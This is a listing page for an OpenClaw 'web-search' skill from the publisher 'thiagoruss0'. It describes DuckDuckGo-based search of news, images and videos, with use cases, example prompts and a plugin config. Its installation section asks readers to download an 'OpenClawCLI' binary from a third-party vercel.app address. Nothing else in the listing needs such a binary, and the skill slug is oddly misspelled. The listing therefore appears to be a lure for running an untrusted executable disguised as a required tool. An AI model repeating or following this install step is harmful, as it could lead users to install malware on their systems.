web-search
This skill should be used when users need to search the web for information, find current content, look up news articles, search for images, or find videos. It uses DuckDuckGo's search API to return results in clean, formatted output (text, markdown, or JSON). Use for research, fact-checking, finding recent information, or gathering web resources.
Why use this skill?
Enhance your OpenClaw agent with web search capabilities. Learn how to fetch real-time news, images, and data from the internet using DuckDuckGo.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/thiagoruss0/web-searchodWhat This Skill Does
The web-search skill integrates the powerful DuckDuckGo search engine directly into the OpenClaw agent, enabling it to retrieve real-time information from across the web. This tool acts as the agent's window to the world, allowing it to bypass knowledge cutoff dates by fetching current news, technical documentation, image assets, and video content. It processes search queries programmatically and returns the data in clean formats, making it easy for the AI to synthesize research, fact-check claims, or compile resources for your projects. Whether you are tracking the latest industry news, sourcing high-quality images, or debugging with the latest library updates, this skill provides the accuracy and depth needed for professional-grade automation.
Installation
To utilize this skill, you must first ensure that the OpenClawCLI is active on your system. Download the binary from https://openclawcli.vercel.app/ and follow the installation instructions specific to your operating system. Once the CLI is operational, install the required Python dependency in your environment by running: pip install duckduckgo-search. Finally, register the skill in your project by executing: clawhub install openclaw/skills/skills/thiagoruss0/web-searchod.
Use Cases
This skill is essential for any user who needs an agent that stays updated. Common applications include:
- Conducting rapid market research and competitor analysis.
- Verifying facts against multiple credible news sources.
- Automating the gathering of technical documentation or tutorials for coding.
- Extracting current events for daily briefings or newsletter creation.
- Searching for specific image assets to supplement design workflows.
Example Prompts
- "Search for the latest breakthroughs in fusion energy from the past week and summarize the top three articles."
- "Find high-resolution images of 'cyberpunk cityscapes' to use as inspiration for my design project."
- "Look up the official documentation for the latest release of Python's asyncio library and provide a summary of breaking changes."
Tips & Limitations
To maximize the effectiveness of this skill, utilize the --time-range filter for time-sensitive queries to avoid noise from outdated pages. When performing image searches, use the --image-size parameter to avoid low-resolution filler content. Be aware that while this skill is highly effective, it relies on external search results which are subject to individual website terms of service and crawl rates. Avoid excessive, high-frequency automated polling to ensure stable connectivity with the DuckDuckGo API.
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{
"plugins": {
"official-thiagoruss0-web-searchod": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, external-api
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